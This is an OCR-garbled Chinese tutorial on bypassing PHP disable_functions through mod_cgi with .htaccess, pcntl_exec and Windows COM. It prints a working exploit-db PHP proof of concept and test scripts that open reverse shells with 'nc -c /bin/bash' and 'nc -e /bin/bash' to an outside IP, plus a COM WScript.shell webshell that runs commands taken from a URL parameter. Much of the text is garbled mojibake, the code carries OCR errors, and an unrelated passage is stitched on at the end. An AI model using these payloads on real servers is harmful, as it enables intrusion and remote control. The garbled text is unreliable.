1. web IR 55 41547 apache

2. Ji il mod_cgi fER

3. foifF htaccess UHFAERK

4. htaccess AT MAUH A G AR
U7 AV T A AFRETR IR IE
B EMHRIFIE , RN FRATZ: apache2+phps AIFRIE ;
BAFMRATE T

mod_cgi BEHRERINZHE5E heepd S 2 A M, ATLLEE AR & & C A LR apache 6
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httpd -M

proxy_balancer_module (shared)
proxy_connect_module (shared)
proxy_express _module (shared)
proxy_fcgi_module (shared)
proxy_fdpass_module (shared)
proxy_ftp_module (shared)

proxy_http_module (shared)
proxy_scgi_module (shared)
proxy_wstunnel_module (shared)
systemd_module (shared)
cgi_module (shared)

php5 module (shared) Ty BERRE

cgimodule FLHYRL/E mod_cgi " 2 iX HIKATHE T apache B J5 3K o

C' | ® man.gimoo.net/apache2/html/mod cgi.html

20k > EAf > Apache? Osh W IFLETFRR > b TS

Apachef&iR mod_cgi
HEB:  CGBIARIRT

4%35: Base
#8128 cgi_module /

EZ{%: mod_cgi.c 7, HiBEnE

(http://man.gimoo.net/apache2/html/mod_cgi.html)
HRPEHIA, mod_cgi fEFHAITN :

AEA] B mime 288 application/x-httpd-cgi 3 # cgi-script &bFREF (Apache 1.1 3L LA IR ) AbFR I SCH-I4 #E4F R CGT A G
Rt RS54 T, B RV P BER 1255 P e G0 PR AR SO G AR, sl SR AT B i AddType fi54 58 LAY
JEA s B ST ScriptAlias Had,

HAIARMH: mod_cgi BB coi MIATSCIFECE A B E SURS SR IA SO AR IR 55 is A T 76444 Ak [m]
B EMT B VYN AR A TR T htacess El/], FAT—A—T.

BRI htaccess SUAFRTLAB A, X MR, —BOZSCFEGZAEREE R web HSR T, FRATHSAT LATE web H %
NHOEESR, BTG S AR T .

ETH =S htaccess XIHFRGAER, MEE apache BLE AR E web HE T AllowOverride Z4UE VI E o

£ AllowOverride X E M None B, htaccess B BETE 2 ZME . S ILIESIXE N Al B, ArE BB "htaccess” 1B ATHE & #L
FEFHEAE htaccess U
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X HLFRNG apache BLESCMFIZ web HE N AllowOverride 250 B2 BN ALL.
VirtualHost *:80>
pocumentRoot "/var/www/html"

fDocumentRoot "/var/www/html/permeate”
fServerName permeate.localhost
berverName localhost

#<Directory "/var/www/html/permeate">

<Directory "/var/www/html">
Options Indexes FollowSymLinks
AllowOverride All

Require all granted
</Directory>
/VirtualHost>

AANFTRES, X ABEA ARG, AREARCEN |

FATE T apache B 77 3CHY allowoverride ffi 41 (http://httpd.apache.org/docs/2.4/mod/core. html#allowoverride)

AllowOverride Directive

Description: Types of directives that are allowed in files
Syntax: 11

Default: | AL
Context: directory
Status: Core
Module: core

When the server finds an . htaccess file (as specified by AccessFileName), it needs to know which directives declared in that file can override earlier configuration directives.
Only available in <Directory> sections

..... wOverride i$ valid only in <Directoxy> sections specified without regular expressions, not in <Location> <DirectoryM

Match> Of <Files> seclions.

PIEHEE]: apache 2.3.8 X EARTHUA, AllowOverride ZEUERIME AL ALL K13 2.3.9 LAERAA A None,  AITLA

FEBRT AT o SRTI AT web H 32 N HATE RS BA htaccess XA, IXAHUAEM, 21U .

S L
W, ENXEIAT4 NSAEEWL T, BADHEZLE I T,

THRE

X EFEH exploitdb YT pocs

mod_cgi.php
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scmd = "nc -c “/bin/bash” 10.11.1Z2.13 88887; //command to be executed

$shellfile = "#! /bin/bash\n"; //using a shellscript

$shellfile .= "echo -ne \"Content-Type: text/htmI\\n\\n\"\n"; //header is needed,
otherwise a 500 error is thrown when there is output

Sshellfile .= "Scmd"; //executing $cmd

function checkEnabled($text,Scondition, $yes,Sno) //this surely can be shorter
{

echo "$text: " . (Scondition ? $yes : $no) . "<br>\n";
}
if (lisset ($_GET['checked']))
{

@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it
to a .htaccess file to see whether .htaccess is allowed

header ("Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script
again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('."); //current dir writable?
fhtaccess = !empty($_SERVER['HTACCESS']):; //htaccess enabled?
checkEnabled("Mod-Cgi enabled", $modcgi,"Yes","No");
checkEnabled("Is writable",Swritable,"Yes", "No");
checkeEnabled("htaccess working",$htaccess,"yes","No");
if(!(Smodcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"™; //abort if
not
}
else
{
checkeEnabled("Backing up
.htaccess" ,copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in

.htaccess.bak","Failed!"); //make a backup, cause you never know.

checkEnabled("write .htaccess file",file_put_contents('.htaccess","Options
+ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice
extension

checkénabled("write shell
file",file_put_contents('shell.dizzle", $shellfile),"Succeeded!","Failed!"); //write the
file

checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");
[/rwx

echo "Executing the script now. Check your listener <img src = 'shell.dizzle’
style = 'display:none; '>"; //call the script

}

7>
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BEHEAIZ php U EAGE] web Bt T, BT AL S shell FYA4>, FRATH G 0T IRSS S 948 & w1, S8)5 S5 Rz S
Fée  192.168.248.136 43 Xehell 5

Wod Cgleramed Yes ThE RED 8N I adeE 20w Bl

|1s writable: Yes GE- i RO &-2-0-A4-49 510 @0 @-8- OF

| htaccess working: Yes

|Backing up _htaccess: Suceeded! Saved in htaccess bak

[Write htaccess file: Succeeded!

|Wirite shell file: Succeeded!

|Chmod 777: Succeeded!

iE:t:u:n‘g the script now. Check your listener

|

|
| =

SR T A A LIRAT, 28 T disable_functions HYFR il o

1

X
ot

N
7

P
5H

f

FATHr— XA poc AfH AT LASEEL A S PAATHE 7

A T — mod_cgi.php:

Sahe

quciiin'f~ FERaDled s | A 7
acho
if isset($
ifile_put contants » FILE_APPFEND
headar
elze
5 in_array ap.ch-_qlt_noduLca
Swrital is_writable
ampty
if smodogi &6 Swrit
echo
slse
copy

fils put contents
A
kEnabled ,file_put contents | Jahellfile)

é>

BSE B R0 shell 196545 2] 1 2487 H 3% T shelldizzle AT, AARXANFRIEARL R, JHHSMHR.

TR S AR E AR I Y R 2L checkEnabled.
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B url PR checked FB, MIRBAZAAEIEE htaccess SIAFFRIG HLE ] url ¥RIN 2checked=trueo
B R oAU :
1. mod_cgi BT
2. HETHSREE |
3. htaccess ST AT LAARL ;
WARANHE 2, AR S R AT R R 45 o
Fe TR AR htaccess UM, FFHIE htaccess SUIFNA N :
Options +ExecCGI\nAddHandlercgi-script .dizzle
G shell.dizzle I, FFIRT 777 AR, BJidid js I8 FIZ AL R S5 3611 T
REERARFIEI, QR A SR ST ATE R 55 d AN s A 3 o

T htaccess U , H H A B &

[root@localhost etc]# locate .htaccess

/root/5L[H /de/ma/—4])iE /apache T .htaccess L #Hr.rar
Jusr/share/nginx/html/wordpres p-content/plugins/akismet/.htaccess
/var/www/html/wordpress/ma/—%)i& /apache | .htaccess 2¥r.rar
/var/www/html/wordpress/wp-content/plugins/akismet/.htaccess
[root@localhost etc]# updatedb

[root@localhost etc]# locate .htaccess

/root/ L[l /de/ma/— )& /apache T .htaccess & tHr.rar
fusr/share/nginx/html/wordpress/wp-content/plugins/akismet/.htaccess
/var/www/html/.htaccess

/var/www/html/.htaccess.bak

/var/www/html/wordpress/ma/—%)i%&/apache | .htaccess fr.rar
/var/www/html/wordpress/wp-content/plugins/akismet/.htaccess
[root@localhost etc]# cat /var/www/html/.htaccess

Options +ExecCGI R SETBE
AddHandler cgi-script .dizzle[root@localhost etc)# |} *

Options +ExecCGIAddHandlercgi-script .dizzle
T apache ] Options $74- X, 7% Apache Options fif &3 ¥M# (http://www.365mini.com/page/apache-options-directive.htm)
H P BxecGGI U3 70 14-# H mod_cgi FEHRIT CGI I

I AddHandlercgi-script.dizzle JX KT dizzle ¥ ST cgi R R

XA apache 73 A= MECETRMG AddType, XA 24 XTIV ?
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-rW-r--r--.
“rW-F--r--.
-rW-r--r--.
-rW-TF--r--.
drwxr-xr-x.
- TWXTWX WX .
-rW-r--r--,
-TW-r--r--

AddType ESHEFTRXR, ERNET BRESHHBZERIXE, M0:
AddType application/x-x509-ca-cert .crt

el .crt T ESRNEHRapplication/x-x509-ca-cert#ER): ERBHER, IREFEEES
application/x-x509-ca-certZEA, F .crtESRHSEFEEMD
EE SAEHhERNEIE, EhttptBskhEE8aisContent-Locatiom#AEE, #0:

GET /a HTTP/1.1

Content-Location: a.php

AddHandler RBAENT RESERTAFOEFELRE, BANET RESSHERFZENXE
AddHandler cgi-script .cgi

fAlin &5 2

AddType 258 ST 2RE G 8844 1 SO Xt R 1) ST 28
AddHandler A& E AT 4 FE J5 284 SCHRT I A B T
B shell. dizzle SCIF, HLTATI N A2 S shell

root root 27 A 2016 index2.html
root root 37 5A 10:05 index.php
root root 21 5H 10:05 info.php
apache apache 2041 | 10:19 mod_cgi.php
apache apache 4096 14:55 permeate
apache apache 87 5} 11:19 shell.dizzle

=
= N

root root 30 2017 test.php

root root 40 5H 10:14 webshell.php
drwxr-xr-x. 6 nobody nfsnobody 4096 14:37 wordpress
[root@localhost html]# cat shell.dizzle

#!/bin/bash

echo -ne "Content-Type: text/html\n\n" g e A
-¢ '/bin/bash’ 4;‘ .200 8888[rbot@localhost htmllgﬁﬁﬁ*ﬁ‘%

DU js W shell.dizzle

N
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€ e | @ F&2 | 192.168.248.136/mod _cgi.php?checked=true

Mod-Cgi enabled: Yes

Is writable: Yes

htaccess working: Yes

Backing up .htaccess: Suceeded! Saved in .htaccess.bak
Write .htaccess file: Succeeded!

Write shell file: Succeeded!

Chmod 777: Succeeded!

Executing the script now. Check your listener

(= E] Elements Console Memory Sources Network Performance Application Security Audits A
Is writable: Yes"
<br>
htaccess working: Yes™
cbr>
Backing up .htaccess: Suceeded! Saved in .htaccess.bak”
<br>
Write .htaccess file: Succeeded!™
<br>
Write shell file: Succeeded!”™
<br>

Chmod 777: Succeeded!”™
<br>

now. Check your listener
" style="display:none;">

Executing the scr

W, BNXEEAR EatE Bh I B T, sl A E AR SO T B E

FIH pentl_exec

XAHEW L3R %, HEAEINCRNIFAZ, JREREE pentl XM REVEAZEEN, W EXAT7 B X AR T
pentl § AR HI T 1k PHP SCRFEEARRIEMIT AT, BOAE L N A LAY ]

FrPoh TER, BRAFEA LR iz B, XRBEFREM phpize( T 45 PHP SIAEINY R, BREHMITFLLE
php), W phpize fir 2 AFELEEPUTIREE AT LL yum 5% apt-get Z%¢— T php-devels

PO %S pentl I, T H O &4 php RIS EL, REAE], 25 PHPS I (https://museum.php.net/php5/) -
T

L pentl HARSH

php5.5 %4 pentl 97 (https://blog.csdn.net/fareast_mzh/article/details/87349857)

WA 424% php F7 &% pentl(https://www.jianshu.com/p/770d0bea2087)

1045 php.ini 5 EHG pentl_exec M disable_functions H IFR »

LASER AR, ATLAVES P SCHE_EARE) web HSRR -

pentl.php, AZOHUEFIH pentd §7 Y pentl_exec BREUIIITHT E A
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<?php
(function_exists('pcntl_exec')) {
pcntl exec("/bin/bash", ("/var/www/html/test.sh"));

{

'pentl extension is not support!’;

test.sh, HIFHIATIN Linux shell A, ArCARIEMERK, HEFF B shell

nc -e /bin/bash 16.11.12.13 8888

PO FRAT T s R S5 5 W, 223800517 pentl.phpe

92.168.248.136 & ! n -w -l -p BESE - Xshell §

iZM A EEIERIE(E

192.168.248.136 3

= D e LA AleE 0w S

@ B DO @-2-G-A- 84

A AT, TUHHREE TR0, IXFER AL AE T I access_log AN AL, error_log t FUA ARG BT 1Y I
BEARAE 1505, REERTLL ~

Windows System Components
FIH coM AL disable_functions, JX/1& Windows bS8 A ZEH 2 —

AE PHP 5.x R8I AT LA HZ S8 i3 Joas AEEFR AN Windows 10 KEIL T, ASKIEHS 9102 4F 1, IXMEHATHE
RRT, GEFRIGHRMEA T —F, FERIEREM ~
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(1) PhLERsE
BEFES: windows 10
Apachelz®: Apache?2
PHPRRZS: PHP 5.6.15
ERAREL:
symlink,show_source,system, exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exe
c,curl_multi_exec,pcnt]_exec

—— “

PHP Verson

.I'M url fopen

allow url nclude it H
abways populate raw post data

airg separatornput By

arg separator.output

a5p tags

sute sppend fils

sute globals jit

auto prepend file

browscap carmppphp e rtr as't
default charset

default mimetype

disable clasie \

display errers
FrEE I, FREHE XAMPP 5 MIE, FIFSERIE T disable_functions, &7 /> webshell L2, TTLATEA M, (HARHE
PATAT Lo
& Ew
AntSword $38 B[ ¥t
« o [0 127.0.0.1 »— 127.0.0.1

(*) ¥ ..’\ ashelp ﬁﬁ * *. lrlhl :’
C:\xampp\htdocs> dir

C:\zampp\htdocs> w!

C:\xampp\htdocs>

IR, XNRRAER IR, &R T @ &0, o coM AMERIIRIME, BT LABEBIAE php.ini HE FAESE dil FIRCE,
SRJGHJH apache.

extension = php_com_dotnet.dl]

com.allow_dcom = true
X HEFEHRE N COM i % :

COM A1 H1 LA Win 32 SIASES I (DLL) BRI AT S0 (EXE) FEAAAT I AT A ATl 815 COM MBS S R A

115
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PEF RESS I XA 2R T 2R . coOM APFAT AZS IV AR PP #84F RGE LA AR AR SR R 55 5 € SCHY coM AT LA
B4 T 22 [F] FE AL A R AR A I AR 7 ;COM AL AT LABIZS Y A\ BT H R -

(2) SIS

X B EAAE ISR poc

<?php

Scommand=$_GET[a];

Swsh = new COM('WScript.shell'); // Z£Ri—ACOMIT&

Sexec = $wsh->exec('cmd.exe /c '.$command); //ERNSHEFENTEHES
$stdout = Sexec->Stdout();

Sstroutput = Sstdout->ReadAll();

echo $stroutput

7>
SRIEEAR I — T

&« C | ® 127.0.0.1:8080/comm.php?a=whoami \

Notice: Use of undefined constant a - assumed 'a’ in C:\xampp\htdocs\comm.php on line 3
desktop-a832uofs\meetsec

I

IR A A 2 HTH % pwd
L C | ® 127.0.0.1:8080/comm.php?a=pwd
o
Notice: Use of undefined constant a - assumed 'a’ in C:\xampp\htdocs\comm.php on line 3

/cygdrive/c/xampp
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HAERREARENI H
« C | @ 127.0.0.1:8080/comm.php?a = cal
Notice: Use of undefined constant a - assumed "a’ in C:\xampp\htdocs\comm.php on line 3
s - B X

= HER il

[eleminic e

OEC ©

BN 0

OWORD M5

Lsh Rsh Or Xor Mot And

7 9 X

8
FLRGERAT LA, RORAHE, JXFO T COM 411RR) php s s 8 B & S8id R de .
35
T, BIXENANERWRE T, BAEARZ HEEHBANH, .
imap_open Z8id ( F1 pentl ZEM0L, FHEEZAE imap §JE)
BARREGL (R TIRES T2 )
perl #"JR L A LR

win32std § R 485

A/ MIAERT A BT EBUAR:, BOX AL HREANTE 1, 5 eIk ERE BAREIMEHIE_EAE T AP IR], RIOHGE
RZ, #TILE, BRHESINRNEARS ~
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©JLBEAMZEIKRE, HMERR T —NE-

® Struts2 AR AR, SEREN—REERE
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BIRTR M AHMES, R SRR el R SRR LT -




£z BAREE,
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RN FINLLEZEFE

K, A MERTTA T+ 2L TAERER. FAF
BAEALERL BORE . TR ARERY A, MR L i fiod
PRI _EREHTIETE, WUk TRADIELHIES, TR2mMA
TP E ML WIS B F RS, B4 oA
A e a2 wL, BAREXT %7 B 2 BOREA P T i,
HES “RE" WAL —NRHMEA . FOEERESS, Bl
REGEAF BV, AHR R

WA, FABEVEN LARRFRE, #5 100% BRI,
MBGEE HEIUEAR AT — RS A REE R T A0 IR 2R
IR Le, e AP R R A Fi

WEHRZ D B

REMHE, o N ARSI “MEEpiE” , ERE
HR AP A BUARHE Rl 6, o b /NP — R TR AL 38 1
VER— A 5, BIARZIW] B A IR SR LR HT TR G,
RIRWIALT 3o 2 NBHERE A O L aE P2 ik
B ARG SR Z 0K

HAGX AN E NI T BT AR S, SRR T R AR G B
By ¥ A ARG R T X AR A, L TR AT
XSGR FE R I AR 2R, 1818 R LR
WETDRIMA, B2 A RIRE R .

RemE, ZRTAA HoR BEESFITHNER,
B A MO 1 B AN b 0, AR AR ER 2 LA T
Linux fR55ae 55 BT, EIRERFARANLRIT ; A RER AT ML
PSR S BRNN token, [AIZF A AR token BAT 4 HRARIL T

CSRE JZ it XSS e | Hipmly “fTEsmmEs” - Yl
FHNE RS BT RS, FERAARBTASHERT o« AEIX R 2L
28, BMEFRATRA S0 (PO EN.

FIREA 0T RN AN BGX AN E S, YEAIESL
HERERERINA CEMME N E A ERRET ? HREEIFAIX
LN, BEAENLEE CHEWIR L, MR 62

ML T2, BN N L2 AT A
o (HEEREIREBIRZ] —AT5), UIEA4F 6 A T3, A
FEDNLZENERN CAEZF# OIS, AEE LK
WE), ifE O T LA H o X B g s F R
SN, HOAITFIC ke MUTEDRBEAYR R, B RIE
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